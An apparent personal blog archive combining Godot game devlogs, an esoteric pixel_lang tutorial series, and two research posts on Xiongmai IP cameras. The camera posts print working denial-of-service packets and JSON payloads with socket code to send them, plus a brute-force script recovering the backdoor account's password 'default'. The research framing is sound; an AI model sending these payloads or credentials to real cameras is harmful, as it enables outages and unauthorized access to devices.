SOL.VIN Journal

[Solo Oasis Devlog] ALL DONE

Ian Rash — Fri, 03 Jul 2026 00:00:00 GMT

Finally finished with the whole game! Come on by and have a fresh bowl.

Category Chain: Solo Oasis Devlog

Date: 2026-07-03

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
Game Engine Development (Game Development) • 4 years — Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [Wikipedia]

[Solo Oasis Devlog] Android & Mobile Web Support

Ian Rash — Wed, 20 May 2026 00:00:00 GMT

We got an ANDROID version now! Play Solo Oasis on your android phone today! Also playing on web on mobile works now. Praise be 4.7 beta2 VirtualJoysticks!

Category Chain: Solo Oasis Devlog

Date: 2026-05-20

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
Game Engine Development (Game Development) • 4 years — Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [Wikipedia]

[Solo Oasis Devlog] Room Progress Snapshot

Ian Rash — Thu, 30 Apr 2026 00:00:00 GMT

Hello Everyone! We’ve been working hard on all the rooms and I wanted to provide a quick snapshot on where the project is and how things are going.

So far we have 20 rooms via 7 different solodevs, and many more on the way!

Category Chain: Solo Oasis Devlog

Date: 2026-04-30

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
Game Engine Development (Game Development) • 4 years — Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [Wikipedia]
3D Modeling (Design & Art) • 4 years — Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [Wikipedia]

[Liminalita Devlog] Shader Optimization & Visual Refinements

Ian Rash — Tue, 19 Aug 2025 00:00:00 GMT

Custom Shader Optimizations

Over the past few weeks, development focused heavily on refactoring and optimizing the custom GLSL and GDShader pipelines across Liminalita.

---

Key Shader Enhancements

Fragment Pass Performance: Streamlined surface normal map evaluations and screen-space outline calculations, reducing fragment shader instructions and improving framerates in dense room layouts.
Material & Palette Batching: Combined multi-color outline Passes into single-pass materials to eliminate unnecessary render state changes.
Water & Transparency Shaders: Optimized the depth and refraction calculations in the aquarium and pool water shaders for consistent cross-platform performance.

---

These visual and rendering performance improvements pave the way for upcoming environment expansions and level generation features.

— sol.vin

Category Chain: Liminalita Devlog

Date: 2025-08-19

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
GDShader (Graphics & Game Dev) • 4 years — Godot Engine's custom shading language for 2D and 3D visual effects, materials, and post-processing. [Website]
GLSL (Graphics & Game Dev) • 4 years — OpenGL Shading Language for high-performance GPU vertex and fragment shader development. [Wikipedia]
Shaders (Graphics & Game Dev) • 4 years — GPU shader programming for custom visual effects, post-processing, and material lighting. [Wikipedia]

[Liminalita Devlog] Library of Babel Modeling, Atrium Teleports & Lobby Expansion

Ian Rash — Wed, 11 Jun 2025 00:00:00 GMT

Library of Babel Architecture

The Library of Babel environment is now fully modeled and functional. The hexagonal structural layout is complete and fully walkable in 3D space. Future updates will focus on populating the procedural book text and visual generator content.

---

Lobby Additions & Sun Room

Added a new water feature to the main lobby area, connecting visually to the aquarium themes and providing atmospheric motion.
Completed the sun room—a clean, vibrant architectural space that balances out the muted tones of the main gallery corridors.

---

Atrium & Aquarium Updates

Integrated a glass aquarium display tank—a transparent exhibit providing a direct view of procedurally pathing fish.
Implemented an atrium transfer zone that allows players to teleport across the main atrium level efficiently during exploration.

---

More updates coming soon, focusing on the procedural book generation system and additional exhibit branches.

— sol.vin

Category Chain: Liminalita Devlog

Date: 2025-06-11

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
3D Modeling (Design & Art) • 4 years — Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [Wikipedia]
Low Poly 3D Modelling (Design & Art) • 4 years — Creating retro-styled, low-polygon 3D models and environmental assets optimized for game engines. [Wikipedia]

[Liminalita Devlog] Expanding Exhibits, Threaded Loading & World Architecture

Ian Rash — Fri, 06 Jun 2025 00:00:00 GMT

---

Infinite S-Gallery

One of the newest additions is a procedurally generated infinite gallery built in an S-shaped pattern. It loops endlessly by repeating room structures, drawing inspiration from I Don’t Get It (Procjam 2021). The spatial repetition becomes part of the experience—the further you walk, the more uncanny the atmosphere feels.

Check out a short preview video of the work-in-progress: WIP Infinite Gallery Video

---

Hilbert's Hotel

The infinite hotel expansion continues to grow. It is loosely based on Hilbert’s Hotel paradox—an infinite space that always has room for one more guest.

Each floor is either procedurally generated or selected from handcrafted layout sets (such as motel courtyards or corporate office spaces). When descending a staircase and looking away, the level geometry quietly shifts beneath you, creating the illusion of endless vertical descent. Elevators on each floor allow the player to return to the main lobby at any time.

---

Aquarium and Underwater Zones

The aquarium zone has been expanded significantly. Wells, ponds, and fountains scattered across other parts of the game can now be jumped into, teleporting the player into various underwater environments. These areas feed back into an aquarium hub, encouraging exploration across every body of water.

---

Library of Babel

A major new environment feature under active development is the Library of Babel—a hexagonal, seemingly infinite tower structure filled with randomized books. These books contain generated content ranging from text to surreal imagery and glitched symbols.

---

Liminal House & Procedural TV

Another addition is the liminal house, designed to resemble a child’s sketch of a home. Inside is a procedurally generated television that flips channels between different forms of generative art, with every channel change synthesizing a new visual or sonic piece.

---

Liminal Neighborhood

I have been modeling an underground liminal neighborhood—strangely buried beneath the earth. While still early in concept, the environment captures an unsettling, surreal atmosphere.

---

Threaded Level Loading System

I overhauled the backend loading architecture to optimize runtime performance. Levels now stream and load assets asynchronously using threaded loading and staged activation rather than blocking all at once, ensuring smooth transitions across large zones like the hotel and aquarium.

---

Future Planned Zones

Several concepts are currently in the planning and modeling phase:

Decision Gallery: A gallery where choosing different hallway paths (such as red vs. blue corridors) dynamically influences the exhibit artwork displayed ahead.
Surreal Tropical Island: A transition space and liminal vacation zone.
Subterranean Mall: A courtyard-style mall leading to smaller exhibits styled as individual shops.
Supermarket: Inspired by Omega Mart, featuring playful and surreal products rather than literal realism.
Corporate Office: A sterile office environment with maze-like repetition and absurd corporate messaging.

---

Thanks again to everyone following the devlogs and testing early builds.

— sol.vin

Category Chain: Liminalita Devlog

Date: 2025-06-06

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
Game Engine Development (Game Development) • 4 years — Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [Wikipedia]
3D Modeling (Design & Art) • 4 years — Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [Wikipedia]

[Liminalita Devlog] Project Origins, Gallery Concepts & Spatial Illusions

Ian Rash — Mon, 19 May 2025 00:00:00 GMT

Liminalita is a 3D procedural art walking simulator I started designing after Procjam 2021. It was directly inspired by an entry from that jam called I Don’t Get It—a minimalist walking simulator in a single looping room that stuck with me long after I closed it.

I wanted to explore those ideas more deeply. I’ve always been drawn to that feeling of wandering in a space that’s coherent but impossible—something Antichamber did masterfully. Rooms that change behind you, stairs that lead nowhere, and floors that don’t act like floors. I wanted Liminalita to live in that same spirit of unreality—less of a game, more of a space you fall into.

---

Tools & Origins

A few months before starting Liminalita, I picked up Godot for the first time. I used to write Crystal bindings for the raylib library, so game development wasn’t totally new to me, but 3D space, shaders, and Godot’s scene system were all new territory. Still, Godot made it possible to build this project the way I imagined it.

Early on, I attempted to implement an outline shader for stylized edges. I wanted crisp outlines from far away, but the shader broke down at distance. Someone shared a base for it, which I modified and customized to fit our low-poly rendering pipeline.

---

Building the Gallery

The game started with a gallery-style lobby area, which has grown into a procedural museum containing several distinct exhibits:

Free Exhibit Tour: A walkable path with procedural paintings, statue rooms, and a small garden—a warm-up to the stranger spaces ahead.
Infinite Exhibit: A square hallway loop that folds in on itself, where paintings subtly shift as you walk. You cannot escape until you turn around and walk back the way you came.
Aquarium Exhibit: A custom water shader creates an immersive underwater gallery. Players fall into the tank and walk among procedurally generated schools of fish. The effect duplicates and offsets an animated fish model along smooth paths with randomized progress.

---

Spatial Tricks and Illusions

Liminalita is full of intentional mind games and geometric anomalies:

The Atrium Room: As you ascend to the second level, you are quietly teleported back to the ground floor. The illusion is preserved because the room resets out of sight, creating a seamless glitch in spatial logic.
The Hilbert Hotel: Inspired by Hilbert’s Infinite Hotel paradox, this is an infinite vertical space where each floor is procedurally generated as you descend. When the player leaves the lobby and looks away, the staircase shifts downward to reveal endless new floors.

Some floors utilize a 3D tilemap mixing randomized layout chunks. Other floors are handcrafted, such as a motel courtyard complete with a swimming pool. * An elevator on every floor allows players to return to the lobby at any time.

---

Development Videos

I have been documenting the build process in a YouTube devlog series: Devlog Playlist – Liminalita

---

Liminalita isn’t a game about winning or solving puzzles. It’s about walking, witnessing, and feeling off-kilter in a space where the rules bend and walls rearrange when you aren't looking.

Thanks for following along. — sol.vin

Category Chain: Liminalita Devlog

Date: 2025-05-19

Author: Ian Rash

Skills & Technologies:

Godot 4 (Game Development) • 4 years — Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [Website]
GDShader (Graphics & Game Dev) • 4 years — Godot Engine's custom shading language for 2D and 3D visual effects, materials, and post-processing. [Website]
Shaders (Graphics & Game Dev) • 4 years — GPU shader programming for custom visual effects, post-processing, and material lighting. [Wikipedia]
3D Modeling (Design & Art) • 4 years — Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [Wikipedia]
Generative Art (Design & Art) • 5 years — Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [Wikipedia]

[pixel_lang] Showcase

Ian Rash — Sat, 07 Sep 2019 00:00:00 GMT

I'd like to take a little time today to showcase some of the programs I made with pixel_lang. I'm very proud of them, and I'm hoping someone will enjoy watching and dissecting them.

The first one I'd like to show off is my Ackermann function, which uses forking, and it's own in-memory call stack to orchestrate all the individual pistons to fire when necessary.

In the example above, there are three possible decisions made, if M is equal to 0, if N is equal to 0, and the recursive call, with the n-arg. That's why the fork splits the piston into three, one for the recursive call itself, and one for the n-arg, which is also a recursive call.

Here is the draft version of the function, that I made by hand with comments.

Since each call to ack() waits for the next call to finish, I created a basic lock system, that tests to see if there is a piston still executing the function. When a piston finishes, it either creates new pistons (the recursive n-arg call), or frees up old ones waiting for an answer. The n-arg always goes first, then the other calls, after the n-arg piston has finished.

The locks themselves listen directly to static memory, to make them efficient as possible. A locked piston only needs to run one instruction that way, as well as have a direction instruction that pushes the piston back into the conditional lock.

We know a piston is the last piston alive, because the position in the call stack it's currently at will always be 0. We check that at the end to see when we need to output the answer.

In this program, MAV is M, and MBV is N. S is the current position of the call stack, and SV is the values on the stack, which are whether or not the piston has solved it's part of the equation, and what that answer was.

I also want to point out that I could have made this in less cycles using Jumps, but I like watching the flow of the program, so there is only one necessary Jump instruction in the whole program.

The next program is one I developed recently to show off for part 2, but didn't finish it in time.

This program uses the meta-programming instruction IMetaSet, to color the middle square two different colors each rotation. The internals on it I'm pretty proud of.

First of all, this program has an infinite loop with no possibility of memory leakage. In pixel_lang, a piston can potentially crash a program after millions of loops because of things like left-over values in I. Since I is a collection with no bounds, if it gets to full the program either crawls to a halt, or straight crashes.

If you look on the left and right sides, you can see two pistons, each going in a loop. The right side is an incrementer, and the left side is a decrementer. They count either up to 19, or down to 7, which is the exact coordinates of our center square, on two separate SV values. The inner piston changes it's S to read from either SV depending on what stage of the program it's at.

The painting bot itself uses a neat effect/tactic. The two colors it's changing itself between are IMetaSet(:sv, 0, :mav, 0, 2, :ma, 0), IMetaSet(:mav, 0, :sv, 0, 2, :ma, 0). SV and MAV are either X or Y, depending on the direction. MA is the control code register, which is always 0xD (for IMeta). On I we stack the color value, which in this case is either, 0x68480 or 0x49480. Whatever color is currently on the board, it paints the opposite of it.

The timing was really difficult on this program, because fork priority had to be respected at every turn. Since each piston has Read, Execute, and Move phases, the two pistons on the sides only increment/decrement after the painting piston has moved. This gives the effect of painting whats behind it, even though it actually changes the instruction it was on during execute phase, and then moves forward one.

Next is my calculator program, this one takes a non-parenthesized math expression, the runs the operations from left to right (does not respect OoO). This was just a fun artsy project I wanted to do to show art was possible (If you can call it art).

Another program I wrote is the Sieve of Eratosthenes, a fun way to filter prime numbers. This program uses Call/Return to move the pistons into an "incremental tar pit", the higher the number of the current index, the higher the wait for a piston to be released from the tar pit. Basically, a generator forks pistons with the current index (which it increments every cycle), then checks to see if it went over the limit. The forked pistons go through the program. When a prime number is found, it is added to a list of prime numbers which is checked against all other future potential primes.This is list is output at the end of the program, once the last piston is done. This example of the program runs up to 30.

Category Chain: pixel_lang

Date: 2019-09-07

Author: Ian Rash

Skills & Technologies:

Crystal (Languages) • 8 years — A fast, compiled, statically typed language with Ruby-inspired syntax. [Website | Github]
Esoteric Programming (Languages) • 3 years — Designing non-traditional programming languages to test boundaries of language design and visual computing. [Wikipedia]
Generative Art (Design & Art) • 5 years — Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [Wikipedia]
Raylib (Libraries & Frameworks) • 5 years — A simple and easy-to-use C library to enjoy videogames programming. [Website | Github]

[pixel_lang] More Instructions

Ian Rash — Fri, 06 Sep 2019 00:00:00 GMT

We covered Start, End, and Output Char in the last section, next we want to use Direction and Jump. Let's create a version of Hello World that does some crafty maneuvering to only use a single output char instruction for each character of "Hello World!". First we need to make the instructions we need to use.

Then we just need to come up with an interesting layout. I had to specifically be aware of the OutputChar L, because it's used three times, and I need to go a different route each time.

I often times use Jump to allow a single directional line of code have multiple meanings.

For example, take this program, which only hits the pink spaces one way, and the yellow spaces other. This programs runs indefinitely.

Insert

Insert is instruction number 0x8, and it's 20bit argument is stacked onto the I stack of any Piston that executes it. It's used to introduce constants into your program.

Move

Move is an instruction which takes two register arguments, and moves the value from the source to the destination. When specifying a register, you also need to specify a register option which can change how the register is interacted with.

For example, a MOV(MA(0) -> MB(0)) will move the value in MA into MB, where MOV(MA(1) -> MB(0)) will move a random value where MA is the max of that number, and move it into MB.

Another good example would be MOV(I(0) -> MA(0)) which pops a value off I and puts it into MA, and MOV(I(2) -> MA(0)) which only peeks the value.

Let's give Move a try.

In the program above, 100, 200, and then 300 are placed on the I stack using Insert, then moved to output using MOV(I(0) -> O(0)), and a space is added between. We can see when the I stack runs out, it always returns 0 if there is no engine input to consume.

MOV can also be used with register options to change register behaviour. For example, if MA is equal to 1234 and MOV(MA(1) -> O(0)) is called, output will be a random number between 0 and 1234. Reading from I(2) doesn't pull the item off the I stack, while I(0) does.

Move also has two other options, swap and reverse. Swap swaps the values of two registers. The order it does that is very important, since register reads can trigger changes (like I or O for example). When swapping values, the source value is gotten first, then the destination value, then the source is set first, then the destination is set. This is important to understand especially when using the instruction MOV(I(0) -> I(0)), which will swap the top two values on the I stack.

You can also reverse the source and destination, this option isn't particularly useful, it's just to allow for more interesting colors to be made.

Arithmetic

One of my favorite instructions, Arithmetic allows you to build simple mathematical expressions. Arithmetic takes two source registers, an operation, and a destination register. Here are some examples.

Here's a list of all the mathematical operators available.

BOOLEAN_OPERATIONS = [:<, :>, :<=, :>=, :==, :!=]
ARITHMETIC_OPERATIONS = [:+, :-, :*, :/, :**, :&, :|, :^, :%]

Using this instruction we can easily make a program to add 100 to an input number.

The program itself only needs 4 instructions. Start, Insert(100), AR(I(0) + I(0) -> O(0)), and End.

When running the program, you need to include an input number into the Engine before starting or it will always display 100, since I always deafults to 0 when there is no input.

Conditional

Conditional allows pistons to make decisions on where they will go, based on a mathematical expression. You choose two directions, a true direction, and a false direction, and if the mathematical expression evaluates to 0 it goes the false direction, otherwise the true direction.

Boolean operators always produce either a 0 (false), or a 1 (true).

Conditional lets us create decisions and loops that will be the basic building blocks of our programs.

To show off what the Conditional can do, we are going to make a "count to" program which will take a number, and count up to that number.

In this example, the value of MB is always 1. We use that to increment MA each loop, and use the beige instruction (a Conditional) to determine if we have hit our max number yet. If not, we output the number, output a space, and start over again. Interesting note, Start instructions operate as Direction instructions when executed by a Piston. This allows us to restart programs easily if necessary.

Call/Return

These two instructions work in tandem to allow a Piston to return to a previous state, and choose what it takes along with it. Call and Return can be some of the most powerful instructions if used right.

Call takes a couple arguments, the first being an action, which is either :none, :push, :none_run, :push_run. This determines behavior of the Piston after running the Call, if it should push it's current frame to stack, or not, or if it should step once after the Call. For example, the none option does not push a frame to the call stack, where push does.

Call also takes a signed X and Y argument.

Call moves the Piston X and Y spaces away from the Call instructions. This is all relative spacing, there is no absolute values for Call.

When a Return instruction is read by a Piston, it checks to see if there is a frame on it's call stack. If there is a frame, the Return instruction chooses what values to copy back to the piston, for example, you can choose to restore the X position but not the Y, the direction, you can choose to keep MA the same, or restore it from the frame, that sort of thing. If there is no frame on the call stack, Return does nothing.

Return has a lot of arguments, a full list from the color_helper dev module:

Return Instruction
Returns a frame from the call stack.
0bCCCC00000000PPABSIIMMXYD
C = Control Code (Instruction) [4 bits]
P = Action bits [:pop, :peek, :pop_push, :peek_push]
A = Copy MA?
B = Copy MB?
S = Copy S?
I = Copy I action? [:keep, :restore, :clear]
M = Copy memory action? [:keep, :restore, :clear]
X = Jump back to X?
Y = Jump back to Y?
D = Change the direction?

First, the action specifies whether or not a frame should peeked, or popped off the call stack and/or if the current frame of the Piston should be added back to the call stack.

Next, should we copy MA, MB, S, X, Y, etc?

Lastly, I and Memory (since they are collections) both have special operations. Whether or not we should keep them, restore the frame's version, or clear altogether. When using :clear, even if there is nothing on the call stack, that item will still be cleared.

Again Return is super powerful, with it, we can set up all sorts of interesting interactions with the program code.

Fork

Fork is used to make exact duplicates of Pistons, facing in different (or the same) directions. One Fork instruction can make up to 4 new pistons. The original piston always follows direction #1, and each piston created afterwards executes after the last one created. Imagine two pistons one the same space that hit a fork instruction. Let's call them P1 and P2, after their priority numbers. P1 creates a new Piston, sandwiched between it and P2 in the execution order, while P2's created clone will be below it in the execution order.

Here is an example program I wrote to test the limits of Fork (like how many times can you fork before the program crashes).

I also use Fork in my Ackermann implementation, since it's perfect for the job of expansion!

InstructionMeta

InstructionMeta is an instruction that houses four other functions, Get, Set, Resize, and Property.

Get allows a Piston to get the value of a color located at the X and Y values specified by two registers. Puts the control code, then the control value on the I stack.

Set allows a Piston to set the value of a color located at the X and Y values specified by two registers, to the value located on the I Stack. Since the I stack can only hold values up to 0xFFFFF, the I stack is read twice and the values bitshifted and combined to for the color. For example, if 0xBBBBB then 0xA were on the I stack, the color would be 0xABBBBBB.

Resize allows a piston to resize the instructions width and height.

Property allows a Piston to get the width and height of the instruction set.

Using these instructions, we can modify the instructions on the board! Here is an example program, a painter bot.

The program above uses two pistons. One goes in a loop and counts up from 0 to the width of the "drawing canvas". The other piston reads the IMetaSet instructions, and executes them, changing the current square they are on, then moving to another. This gives the effect of a bot painting the ground behind it.

Category Chain: pixel_lang

Date: 2019-09-06

Author: Ian Rash

Skills & Technologies:

Crystal (Languages) • 8 years — A fast, compiled, statically typed language with Ruby-inspired syntax. [Website | Github]
Esoteric Programming (Languages) • 3 years — Designing non-traditional programming languages to test boundaries of language design and visual computing. [Wikipedia]
Generative Art (Design & Art) • 5 years — Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [Wikipedia]
Raylib (Libraries & Frameworks) • 5 years — A simple and easy-to-use C library to enjoy videogames programming. [Website | Github]

[pixel_lang] Intro

Ian Rash — Thu, 05 Sep 2019 00:00:00 GMT

Today I'm really excited to start a new series on pixel_lang, a pixel-based 2D esoteric language I wrote myself in Crystal. I've always really loved esoteric languages, and they can teach us a lot about programming. I enjoy the aspect of honing one's programming chops, and esoteric languages are filled with all sorts of interesting challenges. My goal in writing an esoteric language was to make a language with a large instruction set, that could be used to make art, programs, or some combination of the two.

You can find all project files located on the GitHub.

The purpose of this article, is to give a basic introduction on how to use the pixel_lang interpreter, as well as the web interface, to load and run programs, as well as a basic explanation of how the system works.

The pixel_lang interpreter takes an input PNG file, and uses that as it's program code. Each pixel in the PNG is read in, and stored into a 2D array of instructions. Any and all PNG files are valid program code and can be used with the interpreter without error but, may not start without the presence of a Start instruction, or will run infinitely. A program can be given input, either by providing an input string argument, or via the live interactive session (yet to be written). This interpreter is called the Engine.

Engines are comprised of a variable number of pistons. These pistons act as separate instruction readers and act mostly independently of each other, save for a few exceptions. The starting number of pistons is determined by a program code's number of Start instructions. The pistons then each take turns, reading an instruction, executing it, and moving one step forward in the direction it's facing. When all pistons have run an instruction, that is called a cycle. The instruction type (known as a Control Code or CC) is determined by the upper 4 bits of the color of the pixel, the arguments for the instruction (known as the Control Value or CV) are the bottom 20 bits of the pixel's color.

The full instruction list is as follows.

0x0 - End
0x1 - Start
0x2 - Pause
0x3 - Direction
0x4 - Fork
0x5 - Jump
0x6 - Call
0x7 - Return
0x8 - Insert
0x9 - Move
0xA - Arithmetic
0xB - Output Char
0xC - Conditional
0xD - Instruction Meta
0xE - Engine Meta
0xF - Blank

Some example instructions 0xA00000 - Arithmetic(MA(0) + MA(0) -> MA(0)) 0x100100 - Start(direction: up, priority: 0x100) 0x200010 - Pause(for 0x10 cycles)

A Piston is deleted when it reads an End instruction, and when an Engine has no more Pistons, it is no longer running.

Each Piston keeps track of a couple of things, it's current location, the values within it's own registers and memory, and a call stack (used with Call Return). The Piston has a total of 8 registers, which each hold a 20 bit integer, and each have special properties when read.

The MA register is one of the simpler registers, it takes a value that is written to it, and when read from provides the last value written to it. The default value of this register is always 0x0.

The MAV register is a little different. MAV is controlled by the MA register and when read from, provides the value in the Piston's memory at the location provided by MA. When written to it changes that memory's value. An uninitialized memory cell is always 0x0.

For example, if you wrote 0 to the MA register, then read from MAV you'd get 0. If you wrote 1 to the MA register and then read from MAV you'd get 0. If you wrote 333 to the MAV register and read from MAV you'd get 333. If you wrote 0 to the MA register, then read from the MAV register, you'd get 0 again.

The next two registers MB and MBV operate the same as MA and MAV, they even use the same memory pool, so if MA is equal to MB then MAV is always equal to MBV. MA and MB can both be used to reference two different values in the same Piston's memory. The MB register's default is 1.

The next two registers are S and SV which work similar to MA and MAV except the memory pool they use is static, meaning all pistons can access this to communicate with each other.

Next we have the I register, which acts like a stack. If written to, it adds a new value to the stack, when read from it pops from the stack. You can choose also to peek this register instead, keeping the value on the top of the stack.

Lastly we have the O register, which is an output register. When read from, it provides the last character that was output from any piston, when set, writes the value to output.

When pistons move off the edge of the program space, it appears on the other side, asteroids style.

That's really all there is to the internals of the interpreter, the rest is pretty easy.

There are two ways to interact with programs right now, there is the runner, and the web interface. I'd highly recommend using the web interface, it's not bad to use, runs pretty smoothly, and allows you to watch the programs execute step by step.

To build the runner use shards build runner

You can then run any program using ./bin/runner program_file "input text!!!!!"

You can run the web app by using shards build web_app && ./bin/web_app

We will primarily focus on the web_app, as it is a lot easier to work with than the runner.

You can create a new Engine with a program loaded using the bottom box on the home page, You must specify a name, and a program. When you open up a program it should look like below.

Pressing play will start an animation of the execution, showing the pistons moving and doing their work.

The above program is the prime sieve of Eratosthenes, which is a special way to filter prime numbers.

My other pride and joy program is the Ackermann function, I highly suggest checking it out.

If you want to write your own programs, any picture editor will do, as long as it supports hex color input (like #AABBCC). Pictures should be saved as PNG. To add them to the web interface, navigate to pixel_lang_crystal/programs and put your files in there, and then restart the web_app. I suggest Aseprite to edit any programs, as it has a useful palette feature to rip all the unique colors out of a picture.

The system also has a special way of helping make colors for you. For this, I would highly recommend opening crystal play in the pixel_lang_crystal directory and using that.

Basic Instructions

In this segment, we will cover some basic instructions, enough to make our own first Hello World program.

Start

The Start instruction is used to place pistons when starting the program. Each Start instruction can contain two arguments, what direction the Start is facing (up, down, left, right), and the priority, which describes in what order the pistons all run in. A piston with a priority of 0 runs before a piston with priority 100.

End

The End instruction removes a piston from the program space. If all pistons are gone off of the program space, the program has ended. Without an End instruction, a program will run indefinitely. End takes no arguments.

Direction

Direction changes the current direction the piston is going to one of 8, stored in it's arguments.

Up
Down
Left
Right
Turn Left
Turn Right
Reverse
Straight (No operation)

Jump

Jump moves a piston in the direction it's facing, a number of spaces determined by it's argument. (0x0 - 0xFFFFF).

For example, Jump 0 jumps only one space, Jump 1 jumps 2 spaces, etc etc.

Jumps that jump a piston off the program space wrap the piston back around.

OutputChar

Outputs the char defined in the arguments. For example, OutputChar H would be 0xB00048.

Putting it all together

Now we have all the instructions we need to try a Hello World program! Let's put them all together.

The only three instructions we need are Start, End, and OutputChar. We can use crystal play to mix all our colors for us.

Next we just need to put them all into a PNG, open up your favorite pixel art editor and let's go!

If we open up the file and play it in the web app, we can see the output works!

Category Chain: pixel_lang

Date: 2019-09-05

Author: Ian Rash

Skills & Technologies:

Crystal (Languages) • 8 years — A fast, compiled, statically typed language with Ruby-inspired syntax. [Website | Github]
Esoteric Programming (Languages) • 3 years — Designing non-traditional programming languages to test boundaries of language design and visual computing. [Wikipedia]
Generative Art (Design & Art) • 5 years — Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [Wikipedia]
Raylib (Libraries & Frameworks) • 5 years — A simple and easy-to-use C library to enjoy videogames programming. [Website | Github]

[Xiongmai - Investigational Journey] Denial of Service

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!

The first thing I did was backup the string, then I cut pieces out until the crash stopped working.

The first thing I did was cut out the "message" portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn't. I found that a size field over 0x80000000 would cause the crash.

crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"

This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.

Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the "login" command is the most unprivilieged, that should be the next target.

crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

This produces:

SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80"

Unhandled exception:  (MagicError::ReceiveEOF)
  from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
  from src/sandbox.cr:69:1 in '__crystal_main'
  from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
  from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
  from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
  from __libc_start_main
  from _start
  from ???

The ReceiveEOF proves that the socket closed and the server went down.

The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.

While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the "Message Quotes" and "Options Wrong Type" vulnerabilities.

Message Quotes DoS

This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all commands.

Options Wrong Type DoS

This takes advantage of another issue in the JSON processing the camera's server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, the have the option of including a hash of options under the root as the same name of command.

Example:

{
  "Name": "OPMonitor",
  "OPMonitor":  {
    "Action": "Claim",
    "Action1":  "Start",
    "Parameter":  {
      "Channel":  0,
      "CombinMode": "NONE",
      "StreamType": "Main",
      "TransMode":  "TCP"
    }
  },
  "SessionID":  "0x0000000007"
}

Under the "OPMonitor" key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with an non-nested type, like a string or a number. For example, the following string crashes the camera.

{
  "Name": "OPMonitor",
  "OPMonitor": 0,
  "SessionID":  "0x0000000007"
}

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Fuzzing (Security) • 5 years — Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [Wikipedia]

[Xiongmai - Investigational Journey] Brute Force

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

Looking at the hashing format, we know it's going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.

require "./dahua_hash"

module Brute
  def self.run(hash : String, start = "a") : String
    current = start
    counter = 0
    success = false

    start_time = Time.now
    until success
      if Dahua.digest(current) == hash
        puts "SUCCESS!!!"
        success = true
        break
      end

      counter += 1
      current = current.succ

      if counter % 1_000_000 == 0
        puts " @ #{current} : #{Time.now - start_time}"
      elsif counter % 10_000 == 0
        print '.'
      end
    end
    end_time = Time.now

    puts "Time: #{end_time - start_time}"
    puts "Result: #{current} : #{Dahua.digest(current)}"
    current
  end
end

We know the details of the "user" account, so all we need to do is plug it in and BAM!

Brute.run("OxhlwSG8")

We end up getting back the string "tluafed", or "default" backwards, after about 16 or so hours.

